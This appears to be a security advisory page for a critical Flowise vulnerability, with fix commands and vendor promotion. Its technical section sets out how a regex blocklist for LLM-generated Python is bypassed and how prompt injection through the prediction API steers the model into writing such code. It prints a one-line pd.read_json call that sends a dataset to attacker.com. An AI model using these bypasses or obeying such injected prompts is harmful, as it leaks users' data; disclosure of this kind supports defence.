Quick answers
- Is CVE-2026-73487 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2026-73487 being exploited in the wild.
- How severe is CVE-2026-73487?
- Critical severity, with a CVSS score of 9.8, published 13 August 2026.
- Which products and versions are affected?
- flowise (npm) <= 3.1.2, SEMVER:introduced=0,fixed=3.1.3; flowise-components (npm) <= 3.1.2, SEMVER:introduced=0,fixed=3.1.3.
- Is there a fix for CVE-2026-73487?
- Yes. flowise (npm): upgrade to 3.1.3 or later; flowise-components (npm): upgrade to 3.1.3 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2026-73487 attacked?
- It is attacked over the network, in a software library.
- Am I affected by CVE-2026-73487?
- Check whether you run flowise (npm) or flowise-components (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
How to fix
- flowise (npm): upgrade to 3.1.3 or later
npm install flowise@3.1.3 - flowise-components (npm): upgrade to 3.1.3 or later
npm install flowise-components@3.1.3
Technical details
The vulnerability is a regex-based code validator bypass in the validatePythonCodeForDataFrame() function that uses a blocklist of 38 patterns to sanitize Python code before execution. Multiple structural bypasses exist: pandas URL-fetching functions like pd.read_json(), pd.read_csv(), and pd.read_html() are not blocked and can make outbound HTTP requests carrying datasets; the importlib module bypasses the import blocklist due to word boundary logic; chr() concatenation allows runtime construction of blocked function names; and np.ctypeslib.load_library() is not blocked. An unauthenticated attacker can send a crafted prompt injection via the prediction API (POST /api/v1/prediction/:id), steering the LLM to generate bypass code that executes in the Pyodide runtime. The most trivial bypass is pd.read_json("http://attacker.com/?d=" + df.to_json()), which passes all regex checks yet exfiltrates the entire dataset. Patch: upgrade to version 3.1.3 or later.
Affected products
- FlowiseAI Flowise before 3.1.3
Identifiers
- CVE-2026-73487
- GHSA-w7x8-q2gp-5cgg
Timeline
- 2026-07-29: disclosed
- 2026-08-13: patched: Version 3.1.3 released
- 2026-08-13: advisory